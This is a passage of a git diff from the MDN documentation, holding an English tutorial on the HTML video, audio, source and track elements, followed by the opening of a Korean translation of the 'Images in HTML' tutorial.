+<p>A native solution would solve much of this if implemented correctly. Fortunately, a few years later the {{glossary("HTML5")}} specification had such features added, with the {{htmlelement("video")}} and {{htmlelement("audio")}} elements, and some shiny new {{Glossary("JavaScript")}} {{Glossary("API","APIs")}} for controlling them. We'll not be looking at JavaScript here — just the basic foundations that can be achieved with HTML.</p>
+
+<p>We won't be teaching you how to produce audio and video files — that requires a completely different skillset. We have provided you with <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">sample audio and video files and example code</a> for your own experimentation, in case you are unable to get hold of your own.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Before you begin here, you should also know that there are quite a few OVPs (online video providers) like <a href="https://www.youtube.com/">YouTube</a>, <a href="https://www.dailymotion.com">Dailymotion</a>, and <a href="https://vimeo.com/">Vimeo</a>, and online audio providers like <a href="https://soundcloud.com/">Soundcloud</a>. Such companies offer a convenient, easy way to host and consume videos, so you don't have to worry about the enormous bandwidth consumption. OVPs even usually offer ready-made code for embedding video/audio in your webpages; if you use that route, you can avoid some of the difficulties we discuss in this article. We'll be discussing this kind of service a bit more in the next article.</p>
+</div>
+
+<h3 id="The_&lt;video>_element">The &lt;video&gt; element</h3>
+
+<p>The {{htmlelement("video")}} element allows you to embed a video very easily. A really simple example looks like this:</p>
+
+<pre class="brush: html notranslate">&lt;video src="rabbit320.webm" controls&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.webm"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/video&gt;</pre>
+
+<p>The features of note are:</p>
+
+<dl>
+ <dt>{{htmlattrxref("src","video")}}</dt>
+ <dd>In the same way as for the {{htmlelement("img")}} element, the <code>src</code> (source) attribute contains a path to the video you want to embed. It works in exactly the same way.</dd>
+ <dt>{{htmlattrxref("controls","video")}}</dt>
+ <dd>Users must be able to control video and audio playback (it's especially critical for people who have <a href="https://en.wikipedia.org/wiki/Epilepsy#Epidemiology">epilepsy</a>.) You must either use the <code>controls</code> attribute to include the browser's own control interface, or build your interface using the appropriate <a href="/en-US/docs/Web/API/HTMLMediaElement">JavaScript API</a>. At a minimum, the interface must include a way to start and stop the media, and to adjust the volume.</dd>
+ <dt>The paragraph inside the <code>&lt;video&gt;</code> tags</dt>
+ <dd>This is called <strong>fallback content</strong> — this will be displayed if the browser accessing the page doesn't support the <code>&lt;video&gt;</code> element, allowing us to provide a fallback for older browsers. This can be anything you like; in this case, we've provided a direct link to the video file, so the user can at least access it some way regardless of what browser they are using.</dd>
+</dl>
+
+<p>The embedded video will look something like this:</p>
+
+<p><img alt="A simple video player showing a video of a small white rabbit" src="https://mdn.mozillademos.org/files/12794/simple-video.png" style="display: block; height: 592px; margin: 0px auto; width: 589px;"></p>
+
+<p>You can <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">try the example live</a> here (see also the <a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/video-and-audio-content/simple-video.html">source code</a>.)</p>
+
+<h3 id="Using_multiple_source_formats_to_improve_compatibility">Using multiple source formats to improve compatibility</h3>
+
+<p>There's a problem with the above example, which you may have noticed already if you've tried to access the live link above with an older browser like Internet Explorer or even an older version of Safari. The video won't play, because different browsers support different video (and audio) formats. Fortunately, there are things you can do to help prevent this from being a problem.</p>
+
+<h4 id="Contents_of_a_media_file">Contents of a media file</h4>
+
+<p>First, let's go through the terminology quickly. Formats like MP3, MP4 and WebM are called <strong><a href="/en-US/docs/Web/Media/Formats/Containers">container formats</a></strong>. They define a structure in which the audio and/or video tracks that make up the media are stored, along with metadata describing the media, what codecs are used to encode its channels, and so forth.</p>
+
+<p>A WebM file containing a movie which has a main video track and one alternate angle track, plus audio for both English and Spanish, in addition to audio for an English commentary track can be conceptualized as shown in the diagram below. Also included are text tracks containing closed captions for the feature film, Spanish subtitles for the film, and English captions for the commentary.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/16898/ContainersAndTracks.svg"><img alt="Diagram conceptualizing the contents of a media file at the track level." src="https://mdn.mozillademos.org/files/16898/ContainersAndTracks.svg" style="height: 472px; width: 640px;"></a></p>
+
+<p>The audio and video tracks within the container hold data in the appropriate format for the codec used to encode that media. Different formats are used for audio tracks versus video tracks. Each audio track is encoded using an <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">audio codec</a>, while video tracks are encoded using (as you probably have guessed) <a href="/en-US/docs/Web/Media/Formats/Video_codecs">a video codec</a>. As we talked about before, different browsers support different video and audio formats, and different container formats (like MP3, MP4, and WebM, which in turn can contain different types of video and audio).</p>
+
+<p>For example:</p>
+
+<ul>
+ <li>A WebM container typically packages Vorbis or Opus audio with VP8/VP9 video. This is supported in all modern browsers, though older versions may not work.</li>
+ <li>An MP4 container often packages AAC or MP3 audio with H.264 video. This is also supported in all modern browsers, as well as Internet Explorer.</li>
+ <li>The Ogg container tends to use Vorbis audio and Theora video. This is best supported in Firefox and Chrome, but has basically been superseded by the better quality WebM format.</li>
+</ul>
+
+<p>There are some special cases. For example, for some types of audio, a codec's data is often stored without a container, or with a simplified container. One such instance is the FLAC codec, which is stored most commonly in FLAC files, which are just raw FLAC tracks.</p>
+
+<p>Another such situation is the always-popular MP3 file. An "MP3 file" is actually an MPEG-1 Audio Layer III (MP3) audio track stored within an MPEG or MPEG-2 container. This is especially interesting since while most browsers don't support using MPEG media in the {{HTMLElement("video")}} and {{HTMLElement("audio")}} elements, they may still support MP3 due to its popularity.</p>
+
+<p>An audio player will tend to play an audio track directly, e.g. an MP3 or Ogg file. These don't need containers.</p>
+
+<h4 id="Media_file_support_in_browsers">Media file support in browsers</h4>
+
+<div class="callout-box">
+<p>Why do we have this problem? It turns out that several popular formats, such as MP3 and MP4/H.264, are excellent but are encumbered by patents; that is, there are patents covering some or all of the technology that they're based upon. In the United States, patents covered MP3 until 2017, and H.264 is encumbered by patents through at least 2027.</p>
+
+<p>Because of those patents, browsers that wish to implement support for those codecs must pay typically enormous license fees. In addition, some people simply prefer to avoid restricted software and prefer to use only open formats. Due to these legal and preferential reasons, web developers find themselves having to support multiple formats to capture their entire audience.</p>
+</div>
+
+<p>The codecs described in the previous section exist to compress video and audio into manageable files, since raw audio and video are both exceedingly large. Each web browser supports an assortment of <strong>{{Glossary("Codec","codecs")}}</strong>, like Vorbis or H.264, which are used to convert the compressed audio and video into binary data and back. Each codec offers its own advantages and drawbacks, and each container may also offer its own positive and negative features affecting your decisions about which to use.</p>
+
+<p>Things become slightly more complicated because not only does each browser support a different set of container file formats, they also each support a different selection of codecs. In order to maximize the likelihood that your web site or app will work on a user's browser, you may need to provide each media file you use in multiple formats. If your site and the user's browser don't share a media format in common, your media simply won't play.</p>
+
+<p>Due to the intricacies of ensuring your app's media is viewable across every combination of browsers, platforms, and devices you wish to reach, choosing the best combination of codecs and container can be a complicated task. See {{SectionOnPage("/en-US/docs/Web/Media/Formats/Containers", "Choosing the right container")}} for help selecting the container file format best suited for your needs; similarly, see {{SectionOnPage("/en-US/docs/Web/Media/Formats/Video_codecs", "Choosing a video codec")}} and {{SectionOnPage("/en-US/docs/Web/Media/Formats/Audio_codecs", "Choosing an audio codec")}} for help selecting the first media codecs to use for your content and your target audience.</p>
+
+<p>One additional thing to keep in mind: mobile browsers may support additional formats not supported by their desktop equivalents, just like they may not support all the same formats the desktop version does. On top of that, both desktop and mobile browsers <em>may</em> be designed to offload handling of media playback (either for all media or only for specific types it can't handle internally). This means media support is partly dependent on what software the user has installed.</p>
+
+<p>So how do we do this? Take a look at the following <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">updated example</a> (<a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-video-formats.html">try it live here</a>, also):</p>
+
+<pre class="brush: html notranslate">&lt;video controls&gt;
+  &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+  &lt;source src="rabbit320.webm" type="video/webm"&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/video&gt;</pre>
+
+<p>Here we've taken the <code>src</code> attribute out of the actual {{HTMLElement("video")}} tag, and instead included separate {{htmlelement("source")}} elements that point to their own sources. In this case the browser will go through the {{HTMLElement("source")}} elements and play the first one that it has the codec to support. Including WebM and MP4 sources should be enough to play your video on most platforms and browsers these days.</p>
+
+<p>Each <code>&lt;source&gt;</code> element also has a {{htmlattrxref("type", "source")}} attribute. This is optional, but it is advised that you include it. The <code>type</code> attribute contains the {{glossary("MIME type")}} of the file specified by the <code>&lt;source&gt;</code>, and browsers can use the <code>type</code> to immediately skip videos they don't understand. If<code>type</code> isn't included, browsers will load and try to play each file until they find one that works, which obviously takes time and is an unnecessary use of resources.</p>
+
+<p>Refer to our <a href="/en-US/docs/Web/Media/Formats">guide to media types and formats</a> for help selecting the best containers and codecs for your needs, as well as to look up the right MIME types to specify for each.</p>
+
+<h3 id="Other_&lt;video>_features">Other &lt;video&gt; features</h3>
+
+<p>There are a number of other features you can include when displaying an HTML video. Take a look at our next example:</p>
+
+<pre class="brush: html notranslate">&lt;video controls width="400" height="400"
+       autoplay loop muted
+       poster="poster.png"&gt;
+  &lt;source src="rabbit320.mp4" type="video/mp4"&gt;
+  &lt;source src="rabbit320.webm" type="video/webm"&gt;
+  &lt;p&gt;Your browser doesn't support HTML video. Here is a &lt;a href="rabbit320.mp4"&gt;link to the video&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/video&gt;
+</pre>
+
+<p>The resulting UI looks something like this:</p>
+
+<p><img alt="A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!" src="https://mdn.mozillademos.org/files/16949/poster_screenshot_updated.png" style="border-style: solid; border-width: 1px; display: block; height: 470px; margin: 0px auto; width: 413px;"></p>
+
+<p>The new features are:</p>
+
+<dl>
+ <dt>{{htmlattrxref("width","video")}} and {{htmlattrxref("height","video")}}</dt>
+ <dd>You can control the video size either with these attributes or with {{Glossary("CSS")}}. In both cases, videos maintain their native width-height ratio — known as the <strong>aspect ratio</strong>. If the aspect ratio is not maintained by the sizes you set, the video will grow to fill the space horizontally, and the unfilled space will just be given a solid background color by default.</dd>
+ <dt>{{htmlattrxref("autoplay","video")}}</dt>
+ <dd>Makes the audio or video start playing right away, while the rest of the page is loading. You are advised not to use autoplaying video (or audio) on your sites, because users can find it really annoying.</dd>
+ <dt>{{htmlattrxref("loop","video")}}</dt>
+ <dd>Makes the video (or audio) start playing again whenever it finishes. This can also be annoying, so only use if really necessary.</dd>
+ <dt>{{htmlattrxref("muted","video")}}</dt>
+ <dd>Causes the media to play with the sound turned off by default.</dd>
+ <dt>{{htmlattrxref("poster","video")}}</dt>
+ <dd>The URL of an image which will be displayed before the video is played. It is intended to be used for a splash screen or advertising screen.</dd>
+ <dt>{{htmlattrxref("preload","video")}}</dt>
+ <dd>
+ <p>Used for buffering large files; it can take one of three values:</p>
+
+ <ul>
+  <li><code>"none"</code> does not buffer the file</li>
+  <li><code>"auto"</code> buffers the media file</li>
+  <li><code>"metadata"</code> buffers only the metadata for the file</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>You can find the above example available to <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">play live on Github</a> (also <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/extra-video-features.html">see the source code</a>.) Note that we haven't included the <code>autoplay</code> attribute in the live version — if the video starts to play as soon as the page loads, you don't get to see the poster!</p>
+
+<h3 id="The_&lt;audio>_element">The &lt;audio&gt; element</h3>
+
+<p>The {{htmlelement("audio")}} element works just like the {{htmlelement("video")}} element, with a few small differences as outlined below. A typical example might look like so:</p>
+
+<pre class="brush: html notranslate">&lt;audio controls&gt;
+  &lt;source src="viper.mp3" type="audio/mp3"&gt;
+  &lt;source src="viper.ogg" type="audio/ogg"&gt;
+  &lt;p&gt;Your browser doesn't support HTML5 audio. Here is a &lt;a href="viper.mp3"&gt;link to the audio&lt;/a&gt; instead.&lt;/p&gt;
+&lt;/audio&gt;</pre>
+
+<p>This produces something like the following in a browser:</p>
+
+<p><img alt="A simple audio player with a play button, timer, volume control, and progress bar" src="https://mdn.mozillademos.org/files/12798/audio-player.png" style="display: block; height: 413px; margin: 0px auto; width: 626px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">run the audio demo live</a> on Github (also see the <a href="https://github.com/mdn/learning-area/blob/gh-pages/html/multimedia-and-embedding/video-and-audio-content/multiple-audio-formats.html">audio player source code</a>.)</p>
+</div>
+
+<p>This takes up less space than a video player, as there is no visual component — you just need to display controls to play the audio. Other differences from HTML video are as follows:</p>
+
+<ul>
+ <li>The {{htmlelement("audio")}} element doesn't support the <code>width</code>/<code>height</code> attributes — again, there is no visual component, so there is nothing to assign a width or height to.</li>
+ <li>It also doesn't support the <code>poster</code> attribute — again, no visual component.</li>
+</ul>
+
+<p>Other than this, <code>&lt;audio&gt;</code> supports all the same features as <code>&lt;video&gt;</code> — review the above sections for more information about them.</p>
+
+<h3 id="Restarting_media_playback">Restarting media playback</h3>
+
+<p>At any time, you can reset the media to the beginning—including the process of selecting the best media source, if more than one is specified using {{HTMLElement("source")}} elements—by calling the element's {{domxref("HTMLMediaElement.load", "load()")}} method:</p>
+
+<pre class="brush: js notranslate">const mediaElem = document.getElementById("my-media-element");
+mediaElem.load();</pre>
+
+<h3 id="Detecting_track_addition_and_removal">Detecting track addition and removal</h3>
+
+<p>You can monitor the track lists within a media element to detect when tracks are added to or removed from the element's media. For example, you can watch for the {{event("addtrack")}} event being fired on the associated {{domxref("AudioTrackList")}} object (retrieved via {{domxref("HTMLMediaElement.audioTracks")}}) to be informed when audio tracks are added to the media:</p>
+
+<pre class="brush: js notranslate">const mediaElem = document.querySelector("video");
+mediaElem.audioTracks.onaddtrack = function(event) {
+  audioTrackAdded(event.track);
+}
+</pre>
+
+<p>You'll find more information about this in our {{domxref("TrackEvent")}} documentation.</p>
+
+<h2 id="Displaying_video_text_tracks">Displaying video text tracks</h2>
+
+<p>Now we'll discuss a slightly more advanced concept that is really useful to know about. Many people can't or don't want to hear the audio/video content they find on the Web, at least at certain times. For example:</p>
+
+<ul>
+ <li>Many people have auditory impairments (such as being hard of hearing or deaf) so can't hear the audio clearly if at all.</li>
+ <li>Others may not be able to hear the audio because they are in noisy environments (like a crowded bar when a sports game is being shown).</li>
+ <li>Similarly, in environments where having the audio playing would be a distraction or disruption (such as in a library or when a partner is trying to sleep), having captions can be very useful.</li>
+ <li>People who don't speak the language of the video might want a text transcript or even translation to help them understand the media content.</li>
+</ul>
+
+<p>Wouldn't it be nice to be able to provide these people with a transcript of the words being spoken in the audio/video? Well, thanks to HTML video, you can. To do so we use the <a href="/en-US/docs/Web/API/Web_Video_Text_Tracks_Format">WebVTT</a> file format and the {{htmlelement("track")}} element.</p>
+
+<div class="note">
+<p><strong>Note</strong>: "Transcribe" means "to write down spoken words as text." The resulting text is a "transcript."</p>
+</div>
+
+<p>WebVTT is a format for writing text files containing multiple strings of text along with metadata such as the time in the video at which each text string should be displayed, and even limited styling/positioning information. These text strings are called <strong>cues</strong>, and there are several kinds of cues which are used for different purposes. The most common cues are:</p>
+
+<dl>
+ <dt>subtitles</dt>
+ <dd>Translations of foreign material, for people who don't understand the words spoken in the audio.</dd>
+ <dt>captions</dt>
+ <dd>Synchronized transcriptions of dialog or descriptions of significant sounds, to let people who can't hear the audio understand what is going on.</dd>
+ <dt>timed descriptions</dt>
+ <dd>Text which should be spoken by the media player in order to describe important visuals to blind or otherwise visually impaired users.</dd>
+</dl>
+
+<p>A typical WebVTT file will look something like this:</p>
+
+<pre class="eval line-numbers  language-html notranslate"><code class="language-html">WEBVTT
+
+1
+00:00:22.230 --&gt; 00:00:24.606
+This is the first subtitle.
+
+2
+00:00:30.739 --&gt; 00:00:34.074
+This is the second.
+
+  ...</code>
+</pre>
+
+<p>To get this displayed along with the HTML media playback, you need to:</p>
+
+<ol>
+ <li>Save it as a <code>.vtt</code> file in a sensible place.</li>
+ <li>Link to the <code>.vtt</code> file with the {{htmlelement("track")}} element. <code>&lt;track&gt;</code> should be placed within <code>&lt;audio&gt;</code> or <code>&lt;video&gt;</code>, but after all <code>&lt;source&gt;</code> elements. Use the {{htmlattrxref("kind","track")}} attribute to specify whether the cues are <code>subtitles</code>, <code>captions</code>, or <code>descriptions</code>. Further, use {{htmlattrxref("srclang","track")}} to tell the browser what language you have written the subtitles in.</li>
+</ol>
+
+<p>Here's an example:</p>
+
+<pre class="brush: html notranslate">&lt;video controls&gt;
+    &lt;source src="example.mp4" type="video/mp4"&gt;
+    &lt;source src="example.webm" type="video/webm"&gt;
+    &lt;track kind="subtitles" src="subtitles_en.vtt" srclang="en"&gt;
+&lt;/video&gt;</pre>
+
+<p>This will result in a video that has subtitles displayed, kind of like this:</p>
+
+<p><img alt='Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."' src="https://mdn.mozillademos.org/files/7887/video-player-with-captions.png" style="display: block; height: 365px; margin: 0px auto; width: 593px;"></p>
+
+<p>For more details, please read <a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a>. You can <a href="http://iandevlin.github.io/mdn/video-player-with-captions/">find the example</a> that goes along with this article on Github, written by Ian Devlin (see the <a href="https://github.com/iandevlin/iandevlin.github.io/tree/master/mdn/video-player-with-captions">source code</a> too.) This example uses some JavaScript to allow users to choose between different subtitles. Note that to turn the subtitles on, you need to press the "CC" button and select an option — English, Deutsch, or Español.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Text tracks also help you with {{glossary("SEO")}}, since search engines especially thrive on text. Text tracks even allow search engines to link directly to a spot partway through the video.</p>
+</div>
+
+<h3 id="Active_learning_Embedding_your_own_audio_and_video">Active learning: Embedding your own audio and video</h3>
+
+<p>For this active learning, we'd (ideally) like you to go out into the world and record some of your own video and audio — most phones these days allow you to record audio and video very easily, and provided you can transfer it on to your computer, you can use it. You may have to do some conversion to end up with a WebM and MP4 in the case of video, and an MP3 and Ogg in the case of audio, but there are enough programs out there to allow you to do this without too much trouble, such as <a href="http://www.mirovideoconverter.com/">Miro Video Converter</a> and <a href="https://sourceforge.net/projects/audacity/">Audacity</a>. We'd like you to have a go!</p>
+
+<p>If you are unable to source any video or audio, then you can feel free to use our <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/video-and-audio-content">sample audio and video files</a> to carry out this exercise. You can also use our sample code for reference.</p>
+
+<p>We would like you to:</p>
+
+<ol>
+ <li>Save your audio and video files in a new directory on your computer.</li>
+ <li>Create a new HTML file in the same directory, called <code>index.html</code>.</li>
+ <li>Add {{HTMLElement("audio")}} and {{HTMLElement("video")}} elements to the page; make them display the default browser controls.</li>
+ <li>Give both of them {{HTMLElement("source")}} elements so that browsers will find the audio format they support best and load it. These should include {{htmlattrxref("type", "source")}} attributes.</li>
+ <li>Give the <code>&lt;video&gt;</code> element a poster that will be displayed before the video starts to be played. Have fun creating your own poster graphic.</li>
+</ol>
+
+<p>For an added bonus, you could try researching text tracks, and work out how to add some captions to your video.</p>
+
+<h2 id="Test_your_skills!">Test your skills!</h2>
+
+<p>You've reached the end of this article, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on — see <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content/Test_your_skills:_Multimedia_and_embedding">Test your skills: Multimedia and embedding</a>. Note that the third assessment question in this test assumes knowledge of some of the techniques covered in the <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">next article</a>, so you may want to read that before attempting it.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>And that's a wrap; we hope you had fun playing with video and audio in web pages! In the next article, we'll look at other ways of embedding content on the Web, using technologies like {{htmlelement("iframe")}} and {{htmlelement("object")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML media elements: {{htmlelement("audio")}}, {{htmlelement("video")}}, {{htmlelement("source")}}, and {{htmlelement("track")}}</li>
+ <li><a href="/en-US/Apps/Build/Audio_and_video_delivery/Adding_captions_and_subtitles_to_HTML5_video">Adding captions and subtitles to HTML5 video</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">Audio and Video delivery</a>: A LOT of detail about putting audio and video onto web pages using HTML and JavaScript.</li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Audio_and_video_manipulation">Audio and Video manipulation</a>: A LOT of detail about manipulating audio and video using JavaScript (for example adding filters.)</li>
+ <li>Automated options to <a href="http://www.inwhatlanguage.com/blog/translate-video-audio/">translate multimedia</a>.</li>
+ <li><a href="/en-US/docs/Web/Media">Web media technologies</a></li>
+ <li><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">Images in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From &lt;object&gt; to &lt;iframe&gt; — other embedding technologies</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the Web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></li>
+</ul>
diff --git a/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.html b/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.html
new file mode 100644
index 0000000000..c0ebcc07e9
--- /dev/null
+++ b/files/ko/learn/html/multimedia_and_embedding/images_in_html/index.html
@@ -0,0 +1,496 @@
+---
+title: HTML의 이미지
+slug: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
+translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<p class="summary">초창기의 웹에는 텍스트만 있었고 조금 지루했습니다. 다행히도 웹 페이지 안에 이미지 (및 보다 흥미로운 유형의 컨텐츠)를 삽입하는 기능이 추가되기까지는 오래 걸리지 않았습니다. 시작해볼 수 있는 다른 유형의 멀티미디어가 있지만 단순한 이미지를 웹 페이지에 삽입하는 데 사용되는 {{htmlelement ( "img")}} 요소로 쉽게 시작해 보겠습니다. 이 글에서는 기초내용 부터 심층적으로 사용하는 방법, {{htmlelement("figure")}}를 사용하여 캡션을 주석으로 추가하는 방법, {{htmlelement("CSS")}}배경 이미지와 관련된 사용 방법을 자세히 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행사항:</th>
+   <td>기본 컴퓨터 활용 능력, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">기본 소프트웨어 설치</a>, <a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">파일작업</a>에 대한 기본 지식, HTML 기초 지식 익숙 (<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 시작하기</a>에서 설명)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>간단한 이미지를 HTML에 삽입하고, 캡션을 사용하여 주석을 추가하는 방법과 HTML 이미지가 CSS 배경 이미지와 관련되는 방법을 배우십시오.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="웹페이지에_어떻게_이미지를_넣을까"><strong>웹페이지에 어떻게 이미지를 넣을까?</strong></h2>
+
+<p>이미지를 웹사이트에 넣기위해서 {{htmlelement("img")}} 요소를 사용합니다. 이것은 텍스트 내용이나 클로징 태그를 갖지 않는 {{glossary("비어있는 요소 (empty element)")}}이며, 적어도 <code>src</code>(풀네임인 source라고 불리곤 합니다)라는 속성 하나는 사용되어야합니다. <code>src</code> 속성은 당신이 페이지에 삽입하고자 하는 이미지를 가리키는 경로를 포함합니다. 그 경로는 {{htmlelement("a")}} 요소의 <code>href</code> 속성 값처럼 상대경로여도, 절대경로여도 됩니다.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 계속하기 전에 절대경로, 상대경로에 대해 복습하기 위해  <a href="https://developer.mozilla.org/en-US/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#A_quick_primer_on_URLs_and_paths">A quick primer on URLs and paths</a>를 읽어보세요.</p>
+</div>
+
+<p>예를 들어, 당신의 이미지 파일 이름이 <code>dinosaur.jpg</code> 이고, 당신의 HTML 페이지와 같은 디렉토리 아래에 위치한다면 이런 식으로 이미지를 삽입할 수 있습니다:</p>
+
+<pre class="brush: html notranslate">&lt;img src="dinosaur.jpg"&gt;
+</pre>
+
+<p>그 이미지가 HTML페이지와 같은 디렉토리 하의 <code>images</code> 라는 하위 디렉토리에 있다면 (이러한 방식은 구글이 {{glossary("SEO")}}/색인을 위해 추천합니다), 이런 식으로 삽입할 수 있습니다:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/dinosaur.jpg"&gt;</pre>
+
+<div class="note">
+<p><strong>노트:</strong> 검색 엔진은 이미지 파일 이름을 읽고 SEO에 포함시킵니다. 따라서 그 내용을 기술하는 파일 이름을 사용하세요. <code>img835.png</code>.보다는 <code>dinosaur.jpg</code> 가 낫습니다.</p>
+</div>
+
+<p>절대경로를 사용해서 이미지를 삽입할 수도 있습니다. 예를 들면: </p>
+
+<pre class="brush: html notranslate">&lt;img src="https://www.example.com/images/dinosaur.jpg"&gt;
+</pre>
+
+<p>그러나 이건 무의미합니다. DNS 서버로부터 IP 주소를 처음부터 다시 찾아보는 등 브라우저가 더 많은 일을 하게 만들기 때문입니다. 당신은 거의 항상 당신의 HTML과 같은 서버에 이미지를 두게 될 것입니다.</p>
+
+<div class="warning">
+<p><strong>주의사항</strong>: 대부분의 이미지들은 저작권 적용 대상입니다. 따라서, </p>
+
+<p>1) 당신이 그 이미지에 대한 소유권을 갖고 있거나<br>
+ 2) 당신이 그 이미지의 소유자로부터 명확한 서류상의 허가를 받았거나<br>
+ 3) 그 이미지가 실제로 공공재라는 충분한 증거가 있는 경우</p>
+
+<p>가 아니면 당신의 웹페이지에 이미지를 <strong>게시하지 마십시오. </strong></p>
+
+<p>저작권 침해는 불법이며 비윤리적입니다. 또한 당신의 <code>src</code> 속성이 링크하도록 허가받지 않은 누군가의 웹사이트에 호스팅 된 이미지를 가리키지 않도록 하십시오. 이러한 행위를 "핫 링킹(hot linking)"이라고 합니다. 누군가의 대역폭을 훔쳐 쓰는 것은 불법입니다. 이것은 당신의 페이지를 느리게 만들고, 그 이미지가 삭제되거나 무언가 부끄러운 걸로 바뀌어도 당신은 그것을 통제할 권한이 없습니다.</p>
+</div>
+
+<p>위에서 쓴 우리의 코드는 이러한 결과를 보여줄 것입니다:</p>
+
+<p><img alt='A basic image of a dinosaur, embedded in a browser, with "Images in HTML" written above it' src="https://mdn.mozillademos.org/files/12700/basic-image.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: {{htmlelement("img")}} 와 {{htmlelement("video")}} 와 같은 element들을 대체 element라고 하기도 합니다. 그 이유는 element의 내용과 크기가 element 그 자체가 아니라, 외부적인 요소(이미지나 비디오)에 의해 결정되기 때문입니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: 완성된 예제들을 <a href="https://mdn.github.io/learning-area/html/multimedia-and-embedding/images-in-html/index.html">running on Github</a>에서 확인하실 수 있습니다. (<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/images-in-html/index.html">source code</a> 도 참고하세요.)</p>
+</div>
+
+<h3 id="Alternative_text">Alternative text</h3>
+
+<p>다음으로 살펴볼 속성은 <code>alt</code>이다. 이 값은 이미지가 보여지지 않을 경우를 대비해서 이미지를 설명할 수 있는 글을 값으로 가진다. 예를 들어, 위의 코드를 다음과 같이 바꿀 수 있다:</p>
+
+<pre class="brush: html notranslate">&lt;img src="images/dinosaur.jpg"
+     alt="The head and torso of a dinosaur skeleton;
+          it has a large head with long sharp teeth"&gt;</pre>
+
+<p><code>alt</code> 를 잘 작성하였는지 확인하기 위한 가장 쉬운 방법은 파일 이름을 고의로 틀리게 적는 것이다. 예를 들어 이미지 파일의 이름을 <code>dinosooooor.jpg</code> 로 바꾼다면 브라우저는 이미지를 보여주는 대신, alt의 내용을 보여줄 것이다:</p>
+
+<p><img alt="The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place." src="https://mdn.mozillademos.org/files/12702/alt-text.png" style="display: block; height: 700px; margin: 0px auto; width: 700px;"></p>
+
+<p>alt는 왜 굳이 사용되거나 필요한걸까? alt는 여러가지 이유로 유용하게 사용된다:</p>
+
+<ul>
